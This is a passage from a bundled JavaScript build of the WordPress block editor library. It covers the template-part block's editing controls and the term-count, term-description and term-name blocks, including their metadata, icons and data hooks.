      /* @__PURE__ */ (0, import_jsx_runtime515.jsxs)(import_block_editor272.RecursionProvider, { uniqueId: templatePartId, children: [
        isEntityAvailable &amp;&amp; onNavigateToEntityRecord &amp;&amp; canUserEdit &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(import_block_editor272.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
          import_components167.ToolbarButton,
          {
            onClick: () =&gt; {
              onNavigateToEntityRecord({
                postId: templatePartId,
                postType: &quot;wp_template_part&quot;
              });
            },
            children: (0, import_i18n253.__)(&quot;Edit original&quot;)
          }
        ) }),
        canUserEdit &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(import_block_editor272.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
          TemplatePartAdvancedControls,
          {
            tagName,
            setAttributes,
            isEntityAvailable,
            templatePartId,
            defaultWrapper: areaObject.tagName,
            hasInnerBlocks,
            clientId
          }
        ) }),
        isPlaceholder &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
          TemplatePartPlaceholder,
          {
            area: attributes2.area,
            templatePartId,
            clientId,
            setAttributes,
            onOpenSelectionModal: () =&gt; setIsTemplatePartSelectionOpen(true)
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(import_block_editor272.BlockSettingsMenuControls, { children: ({ selectedClientIds }) =&gt; {
          if (!(selectedClientIds.length === 1 &amp;&amp; clientId === selectedClientIds[0])) {
            return null;
          }
          return /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
            ReplaceButton,
            {
              ...{
                isEntityAvailable,
                area,
                clientId,
                templatePartId,
                isTemplatePartSelectionOpen,
                setIsTemplatePartSelectionOpen
              }
            }
          );
        } }),
        /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(import_block_editor272.InspectorControls, { group: &quot;settings&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
          TemplatesList,
          {
            area,
            clientId,
            isEntityAvailable,
            onSelect: (pattern) =&gt; onPatternSelect(pattern)
          }
        ) }),
        isEntityAvailable &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
          TemplatePartInnerBlocks,
          {
            tagName: TagName2,
            blockProps,
            postId: templatePartId,
            hasInnerBlocks,
            layout
          }
        ),
        !isPlaceholder &amp;&amp; !isResolved &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(import_components167.Spinner, {}) })
      ] }),
      isTemplatePartSelectionOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
        import_components167.Modal,
        {
          overlayClassName: &quot;block-editor-template-part__selection-modal&quot;,
          title: (0, import_i18n253.sprintf)(
            // Translators: %s as template part area title (&quot;Header&quot;, &quot;Footer&quot;, etc.).
            (0, import_i18n253.__)(&quot;Choose a %s&quot;),
            areaObject.label.toLowerCase()
          ),
          onRequestClose: () =&gt; setIsTemplatePartSelectionOpen(false),
          isFullScreen: true,
          children: /* @__PURE__ */ (0, import_jsx_runtime515.jsx)(
            TemplatePartSelectionModal,
            {
              templatePartId,
              clientId,
              area,
              setAttributes,
              onClose: () =&gt; setIsTemplatePartSelectionOpen(false)
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/template-part/variations.mjs
  var import_core_data89 = __toESM(require_core_data(), 1);
  var import_data156 = __toESM(require_data(), 1);
  function enhanceTemplatePartVariations(settings122, name123) {
    if (name123 !== &quot;core/template-part&quot;) {
      return settings122;
    }
    if (settings122.variations) {
      const isActive = (blockAttributes8, variationAttributes) =&gt; {
        const { area, theme, slug } = blockAttributes8;
        if (area) {
          return area === variationAttributes.area;
        }
        if (!slug) {
          return false;
        }
        const { getCurrentTheme, getEntityRecord } = (0, import_data156.select)(import_core_data89.store);
        const entity = getEntityRecord(
          &quot;postType&quot;,
          &quot;wp_template_part&quot;,
          `${theme || getCurrentTheme()?.stylesheet}//${slug}`
        );
        if (entity?.slug) {
          return entity.slug === variationAttributes.slug;
        }
        return entity?.area === variationAttributes.area;
      };
      const variations18 = settings122.variations.map((variation) =&gt; {
        return {
          ...variation,
          ...!variation.isActive &amp;&amp; { isActive },
          ...typeof variation.icon === &quot;string&quot; &amp;&amp; {
            icon: getTemplatePartIcon(variation.icon)
          }
        };
      });
      return {
        ...settings122,
        variations: variations18
      };
    }
    return settings122;
  }

  // packages/block-library/build-module/template-part/index.mjs
  var { name: name113 } = block_default112;
  var settings112 = {
    icon: symbol_filled_default,
    __experimentalLabel: ({ slug, theme }) =&gt; {
      if (!slug) {
        return;
      }
      const { getCurrentTheme, getEditedEntityRecord } = (0, import_data157.select)(import_core_data90.store);
      const entity = getEditedEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template_part&quot;,
        (theme || getCurrentTheme()?.stylesheet) + &quot;//&quot; + slug
      );
      if (!entity) {
        return;
      }
      return (0, import_html_entities14.decodeEntities)(entity.title) || capitalCase(entity.slug || &quot;&quot;);
    },
    edit: TemplatePartEdit
  };
  var init112 = () =&gt; {
    (0, import_hooks82.addFilter)(
      &quot;blocks.registerBlockType&quot;,
      &quot;core/template-part&quot;,
      enhanceTemplatePartVariations
    );
    const DISALLOWED_PARENTS = [&quot;core/post-template&quot;, &quot;core/post-content&quot;];
    (0, import_hooks82.addFilter)(
      &quot;blockEditor.__unstableCanInsertBlockType&quot;,
      &quot;core/block-library/removeTemplatePartsFromPostTemplates&quot;,
      (canInsert, blockType, rootClientId, { getBlock, getBlockParentsByBlockName }) =&gt; {
        if (blockType.name !== &quot;core/template-part&quot;) {
          return canInsert;
        }
        for (const disallowedParentType of DISALLOWED_PARENTS) {
          const hasDisallowedParent = getBlock(rootClientId)?.name === disallowedParentType || getBlockParentsByBlockName(
            rootClientId,
            disallowedParentType
          ).length;
          if (hasDisallowedParent) {
            return false;
          }
        }
        return true;
      }
    );
    return initBlock({ name: name113, metadata: block_default112, settings: settings112 });
  };

  // packages/block-library/build-module/term-count/index.mjs
  var term_count_exports = {};
  __export(term_count_exports, {
    init: () =&gt; init113,
    metadata: () =&gt; block_default113,
    name: () =&gt; name114,
    settings: () =&gt; settings113
  });

  // packages/block-library/build-module/term-count/block.json
  var block_default113 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/term-count&quot;,
    title: &quot;Term Count&quot;,
    category: &quot;theme&quot;,
    description: &quot;Displays the post count of a taxonomy term.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;termId&quot;, &quot;taxonomy&quot;],
    attributes: {
      bracketType: {
        type: &quot;string&quot;,
        enum: [&quot;none&quot;, &quot;round&quot;, &quot;square&quot;, &quot;curly&quot;, &quot;angle&quot;],
        default: &quot;round&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-term-count&quot;
  };

  // packages/block-library/build-module/term-count/edit.mjs
  var import_i18n254 = __toESM(require_i18n(), 1);
  var import_block_editor273 = __toESM(require_block_editor(), 1);
  var import_components169 = __toESM(require_components(), 1);

  // packages/block-library/build-module/term-count/icons.mjs
  var import_components168 = __toESM(require_components(), 1);
  var import_jsx_runtime516 = __toESM(require_jsx_runtime(), 1);
  var bareNumber = /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.Path, { d: &quot;M 10 6 L 9.609375 9 L 7 9 L 7 10.5 L 9.4121094 10.5 L 9.0878906 13 L 7 13 L 7 14.5 L 8.890625 14.5 L 8.5 17.5 L 10 17.5 L 10.390625 14.5 L 12.890625 14.5 L 12.5 17.5 L 14 17.5 L 14.390625 14.5 L 17 14.5 L 17 13 L 14.587891 13 L 14.912109 10.5 L 17 10.5 L 17 9 L 15.109375 9 L 15.5 6 L 14 6 L 13.609375 9 L 11.109375 9 L 11.5 6 L 10 6 z M 10.912109 10.5 L 13.412109 10.5 L 13.087891 13 L 10.587891 13 L 10.912109 10.5 z&quot; }) });
  var numberInParenthesis = /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.Path, { d: &quot;M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z M 18.5,3 c 0,0 1.5,4.004036 1.5,9 0,4.995964 -1.5,9 -1.5,9 H 20 c 0,0 1.5,-4.004036 1.5,-9 C 21.5,7.004036 20,3 20,3 Z M 5.5,21 C 5.5,21 4,16.995964 4,12 4,7.0040356 5.5,3 5.5,3 H 4 c 0,0 -1.5,4.004036 -1.5,9 0,4.995964 1.5,9 1.5,9 z&quot; }) });
  var numberInSquareBrackets = /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.Path, { d: &quot;M 21.5,21 V 3 H 18 v 1.5 h 2 v 15 H 18 V 21 Z M 2.5,3 V 21 H 6 V 19.5 H 4 V 4.5 H 6 V 3 Z M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z&quot; }) });
  var numberInCurlyBrackets = /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.Path, { d: &quot;M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z M 18.5,21 c 1.104567,0 2,-0.895433 2,-2 v -4 c 0,-1.104567 0.895433,-2 2,-2 v -2 c -1.104567,0 -2,-0.895433 -2,-2 V 5 c 0,-1.104567 -0.895433,-2 -2,-2 H 17 v 1.5 h 1.5 A 0.5,0.5 0 0 1 19,5 v 5 c 0,1.104567 0.895433,2 2,2 -1.104567,0 -2,0.895433 -2,2 v 5 c 0,0.276142 -0.223858,0.5 -0.5,0.5 H 17 V 21 Z M 5.5,3 c -1.1045668,0 -2,0.8954327 -2,2 v 4 c 0,1.104567 -0.8954332,2 -2,2 v 2 c 1.1045668,0 2,0.895433 2,2 v 4 c 0,1.104567 0.8954332,2 2,2 H 7 V 19.5 H 5.5 A 0.5,0.5 0 0 1 5,19 V 14 C 5,12.895433 4.1045668,12 3,12 4.1045668,12 5,11.104567 5,10 V 5 C 5,4.7238579 5.2238579,4.5 5.5,4.5 H 7 V 3 Z&quot; }) });
  var numberInAngleBrackets = /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime516.jsx)(import_components168.Path, { d: &quot;M 18.970703,16.53125 23.5,12 18.970703,7.46875 17.910156,8.53125 21.378906,12 17.910156,15.46875 Z M 5.0292969,7.46875 0.5,12 5.0292969,16.53125 6.0898438,15.46875 2.6210938,12 6.0898438,8.53125 Z M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z&quot; }) });

  // packages/block-library/build-module/term-count/use-term-count.mjs
  var import_core_data91 = __toESM(require_core_data(), 1);
  var import_data158 = __toESM(require_data(), 1);
  function useTermCount(termId, taxonomy) {
    const [count] = (0, import_core_data91.useEntityProp)(&quot;taxonomy&quot;, taxonomy, &quot;count&quot;, termId);
    const templateBasedData = useTemplateBasedTermData();
    const hasContext = Boolean(termId &amp;&amp; taxonomy);
    return {
      hasContext,
      termCount: hasContext ? count || &quot;&quot; : templateBasedData
    };
  }
  function useTemplateBasedTermData() {
    const templateSlug = (0, import_data158.useSelect)((select9) =&gt; {
      const { getCurrentPostId, getCurrentPostType, getCurrentTemplateId } = select9(&quot;core/editor&quot;);
      const currentPostType = getCurrentPostType();
      const templateId = getCurrentTemplateId() || (currentPostType === &quot;wp_template&quot; ? getCurrentPostId() : null);
      return templateId ? select9(import_core_data91.store).getEditedEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template&quot;,
        templateId
      )?.slug : null;
    }, []);
    const taxonomyMatches = templateSlug?.match(
      /^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/
    );
    let taxonomy;
    let termSlug;
    if (taxonomyMatches) {
      if (taxonomyMatches[1]) {
        taxonomy = taxonomyMatches[2] ? taxonomyMatches[2] : taxonomyMatches[1];
      } else if (taxonomyMatches[3]) {
        taxonomy = taxonomyMatches[6] ? taxonomyMatches[6] : taxonomyMatches[4];
        termSlug = taxonomyMatches[7];
      }
      taxonomy = taxonomy === &quot;tag&quot; ? &quot;post_tag&quot; : taxonomy;
    }
    return (0, import_data158.useSelect)(
      (select9) =&gt; {
        if (!taxonomy || !termSlug) {
          return &quot;&quot;;
        }
        const { getEntityRecords } = select9(import_core_data91.store);
        const termRecords = getEntityRecords(&quot;taxonomy&quot;, taxonomy, {
          slug: termSlug,
          per_page: 1
        });
        if (termRecords &amp;&amp; termRecords[0]) {
          return termRecords[0].count || &quot;&quot;;
        }
        return &quot;&quot;;
      },
      [taxonomy, termSlug]
    );
  }

  // packages/block-library/build-module/term-count/edit.mjs
  var import_jsx_runtime517 = __toESM(require_jsx_runtime(), 1);
  var BRACKET_TYPES = {
    none: { label: (0, import_i18n254.__)(&quot;No brackets&quot;), icon: bareNumber },
    round: {
      label: (0, import_i18n254.__)(&quot;Round brackets&quot;),
      icon: numberInParenthesis,
      before: &quot;(&quot;,
      after: &quot;)&quot;
    },
    square: {
      label: (0, import_i18n254.__)(&quot;Square brackets&quot;),
      icon: numberInSquareBrackets,
      before: &quot;[&quot;,
      after: &quot;]&quot;
    },
    curly: {
      label: (0, import_i18n254.__)(&quot;Curly brackets&quot;),
      icon: numberInCurlyBrackets,
      before: &quot;{&quot;,
      after: &quot;}&quot;
    },
    angle: {
      label: (0, import_i18n254.__)(&quot;Angle brackets&quot;),
      icon: numberInAngleBrackets,
      before: &quot;&lt;&quot;,
      after: &quot;&gt;&quot;
    }
  };
  function TermCountEdit({
    attributes: attributes2,
    setAttributes,
    context: { termId, taxonomy }
  }) {
    const { bracketType } = attributes2;
    const term = useTermCount(termId, taxonomy);
    const termCount = term?.termCount || 0;
    const blockProps = (0, import_block_editor273.useBlockProps)();
    const bracketTypeControls = Object.entries(BRACKET_TYPES).map(
      ([type, { label, icon: icon4 }]) =&gt; ({
        role: &quot;menuitemradio&quot;,
        title: label,
        isActive: bracketType === type,
        icon: icon4,
        onClick: () =&gt; {
          setAttributes({ bracketType: type });
        }
      })
    );
    const formatTermCount = (count, type) =&gt; {
      const { before = &quot;&quot;, after = &quot;&quot; } = BRACKET_TYPES[type] || {};
      return `${before}${count}${after}`;
    };
    return /* @__PURE__ */ (0, import_jsx_runtime517.jsxs)(import_jsx_runtime517.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime517.jsx)(import_block_editor273.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime517.jsx)(
        import_components169.ToolbarDropdownMenu,
        {
          icon: BRACKET_TYPES[bracketType]?.icon ?? bareNumber,
          label: (0, import_i18n254.__)(&quot;Change bracket type&quot;),
          controls: bracketTypeControls
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime517.jsx)(&quot;div&quot;, { ...blockProps, children: formatTermCount(termCount, bracketType) })
    ] });
  }

  // packages/block-library/build-module/term-count/index.mjs
  var { name: name114 } = block_default113;
  var settings113 = {
    icon: term_count_default,
    example: {},
    edit: TermCountEdit
  };
  var init113 = () =&gt; initBlock({ name: name114, metadata: block_default113, settings: settings113 });

  // packages/block-library/build-module/term-description/index.mjs
  var term_description_exports = {};
  __export(term_description_exports, {
    init: () =&gt; init114,
    metadata: () =&gt; block_default114,
    name: () =&gt; name115,
    settings: () =&gt; settings114
  });

  // packages/block-library/build-module/term-description/block.json
  var block_default114 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/term-description&quot;,
    title: &quot;Term Description&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display the description of categories, tags and custom taxonomies when viewing an archive.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;termId&quot;, &quot;taxonomy&quot;],
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        padding: true,
        margin: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    }
  };

  // packages/block-library/build-module/term-description/edit.mjs
  var import_i18n255 = __toESM(require_i18n(), 1);
  var import_block_editor274 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/term-description/use-term-description.mjs
  var import_core_data92 = __toESM(require_core_data(), 1);
  var import_data159 = __toESM(require_data(), 1);
  function useTermDescription(termId, taxonomy) {
    const [description, setDescription, fullDescription] = (0, import_core_data92.useEntityProp)(
      &quot;taxonomy&quot;,
      taxonomy,
      &quot;description&quot;,
      termId
    );
    const templateBasedData = useTemplateBasedTermData2();
    const hasContext = Boolean(termId &amp;&amp; taxonomy);
    return {
      hasContext,
      setDescription,
      termDescription: hasContext ? fullDescription?.rendered || description || &quot;&quot; : templateBasedData
    };
  }
  function useTemplateBasedTermData2() {
    const templateSlug = (0, import_data159.useSelect)((select9) =&gt; {
      const { getCurrentPostId, getCurrentPostType, getCurrentTemplateId } = select9(&quot;core/editor&quot;);
      const currentPostType = getCurrentPostType();
      const templateId = getCurrentTemplateId() || (currentPostType === &quot;wp_template&quot; ? getCurrentPostId() : null);
      return templateId ? select9(import_core_data92.store).getEditedEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template&quot;,
        templateId
      )?.slug : null;
    }, []);
    const taxonomyMatches = templateSlug?.match(
      /^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/
    );
    let taxonomy;
    let termSlug;
    if (taxonomyMatches) {
      if (taxonomyMatches[1]) {
        taxonomy = taxonomyMatches[2] ? taxonomyMatches[2] : taxonomyMatches[1];
      } else if (taxonomyMatches[3]) {
        taxonomy = taxonomyMatches[6] ? taxonomyMatches[6] : taxonomyMatches[4];
        termSlug = taxonomyMatches[7];
      }
      taxonomy = taxonomy === &quot;tag&quot; ? &quot;post_tag&quot; : taxonomy;
    }
    return (0, import_data159.useSelect)(
      (select9) =&gt; {
        if (!taxonomy || !termSlug) {
          return &quot;&quot;;
        }
        const { getEntityRecords } = select9(import_core_data92.store);
        const termRecords = getEntityRecords(&quot;taxonomy&quot;, taxonomy, {
          slug: termSlug,
          per_page: 1
        });
        if (termRecords &amp;&amp; termRecords[0]) {
          return termRecords[0].description || &quot;&quot;;
        }
        return &quot;&quot;;
      },
      [taxonomy, termSlug]
    );
  }

  // packages/block-library/build-module/term-description/edit.mjs
  var import_jsx_runtime518 = __toESM(require_jsx_runtime(), 1);
  function TermDescriptionEdit({
    context: { termId, taxonomy }
  }) {
    const { termDescription } = useTermDescription(termId, taxonomy);
    const blockProps = (0, import_block_editor274.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime518.jsx)(import_jsx_runtime518.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime518.jsx)(&quot;div&quot;, { ...blockProps, children: termDescription ? /* @__PURE__ */ (0, import_jsx_runtime518.jsx)(
      &quot;div&quot;,
      {
        dangerouslySetInnerHTML: { __html: termDescription }
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime518.jsx)(&quot;div&quot;, { className: &quot;wp-block-term-description__placeholder&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime518.jsx)(&quot;span&quot;, { children: (0, import_i18n255.__)(&quot;Term Description&quot;) }) }) }) });
  }

  // packages/block-library/build-module/term-description/deprecated.mjs
  var v145 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var deprecated_default51 = [v145];

  // packages/block-library/build-module/term-description/index.mjs
  var { name: name115 } = block_default114;
  var settings114 = {
    icon: term_description_default,
    edit: TermDescriptionEdit,
    example: {},
    deprecated: deprecated_default51
  };
  var init114 = () =&gt; initBlock({ name: name115, metadata: block_default114, settings: settings114 });

  // packages/block-library/build-module/term-name/index.mjs
  var term_name_exports = {};
  __export(term_name_exports, {
    init: () =&gt; init115,
    metadata: () =&gt; block_default115,
    name: () =&gt; name116,
    settings: () =&gt; settings115
  });

  // packages/block-library/build-module/term-name/block.json
  var block_default115 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/term-name&quot;,
    title: &quot;Term Name&quot;,
    category: &quot;theme&quot;,
    description: &quot;Displays the name of a taxonomy term.&quot;,
    keywords: [&quot;term title&quot;],
    textdomain: &quot;default&quot;,
    usesContext: [&quot;termId&quot;, &quot;taxonomy&quot;],
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 0
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false
      },
      levelOptions: {
        type: &quot;array&quot;
      }
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-term-name&quot;
  };

  // packages/block-library/build-module/term-name/edit.mjs
  var import_i18n256 = __toESM(require_i18n(), 1);
  var import_block_editor275 = __toESM(require_block_editor(), 1);
  var import_components170 = __toESM(require_components(), 1);
  var import_html_entities15 = __toESM(require_html_entities(), 1);

  // packages/block-library/build-module/term-name/use-term-name.mjs
  var import_core_data93 = __toESM(require_core_data(), 1);
  var import_data160 = __toESM(require_data(), 1);
  function useTermName(termId, taxonomy) {
    const contextBasedTerm = (0, import_data160.useSelect)(
      (select9) =&gt; {
        if (!termId || !taxonomy) {
          return null;
        }
        return select9(import_core_data93.store).getEntityRecord(
          &quot;taxonomy&quot;,
          taxonomy,
          termId
        );
      },
      [termId, taxonomy]
    );
    const templateBasedTerm = useTemplateBasedTermData3();
    const hasContext = Boolean(termId &amp;&amp; taxonomy);
    return {
      hasContext,
      term: hasContext ? contextBasedTerm : templateBasedTerm
    };
  }
  function useTemplateBasedTermData3() {
    const templateSlug = (0, import_data160.useSelect)((select9) =&gt; {
      const { getCurrentPostId, getCurrentPostType, getCurrentTemplateId } = select9(&quot;core/editor&quot;);
      const currentPostType = getCurrentPostType();
      const templateId = getCurrentTemplateId() || (currentPostType === &quot;wp_template&quot; ? getCurrentPostId() : null);
      return templateId ? select9(import_core_data93.store).getEditedEntityRecord(
        &quot;postType&quot;,
        &quot;wp_template&quot;,
        templateId
      )?.slug : null;
    }, []);
    const taxonomyMatches = templateSlug?.match(
      /^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/
    );
    let taxonomy;
    let termSlug;
    if (taxonomyMatches) {
      if (taxonomyMatches[3]) {
        taxonomy = taxonomyMatches[6] ? taxonomyMatches[6] : taxonomyMatches[4];
        termSlug = taxonomyMatches[7];
      }
      taxonomy = taxonomy === &quot;tag&quot; ? &quot;post_tag&quot; : taxonomy;
    }
    return (0, import_data160.useSelect)(
      (select9) =&gt; {
        if (!taxonomy || !termSlug) {
          return null;
        }
        const { getEntityRecords } = select9(import_core_data93.store);
        const termRecords = getEntityRecords(&quot;taxonomy&quot;, taxonomy, {
          slug: termSlug,
          per_page: 1
        });
        if (termRecords &amp;&amp; termRecords[0]) {
          return termRecords[0];
        }
        return null;
      },
      [taxonomy, termSlug]
    );
  }

  // packages/block-library/build-module/term-name/edit.mjs
  var import_jsx_runtime519 = __toESM(require_jsx_runtime(), 1);
  function TermNameEdit({
    attributes: attributes2,
    setAttributes,
    context: { termId, taxonomy }
  }) {
    const { textAlign, level = 0, isLink, levelOptions } = attributes2;
    const { term } = useTermName(termId, taxonomy);
    const termName2 = term?.name ? (0, import_html_entities15.decodeEntities)(term.name) : (0, import_i18n256.__)(&quot;Term Name&quot;);
    const blockProps = (0, import_block_editor275.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const TagName2 = level === 0 ? &quot;p&quot; : `h${level}`;
    let termNameDisplay = termName2;
    if (isLink) {
      termNameDisplay = /* @__PURE__ */ (0, import_jsx_runtime519.jsx)(
        &quot;a&quot;,
        {
          href: &quot;#term-name-pseudo-link&quot;,
          onClick: (e2) =&gt; e2.preventDefault(),
          children: termName2
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime519.jsxs)(import_jsx_runtime519.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime519.jsxs)(import_block_editor275.BlockControls, { group: &quot;block&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime519.jsx)(
          import_block_editor275.HeadingLevelDropdown,
          {
            value: level,
            options: levelOptions,
            onChange: (newLevel) =&gt; {
              setAttributes({ level: newLevel });
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime519.jsx)(
          import_block_editor275.AlignmentControl,
          {
            value: textAlign,
            onChange: (nextAlign) =&gt; {
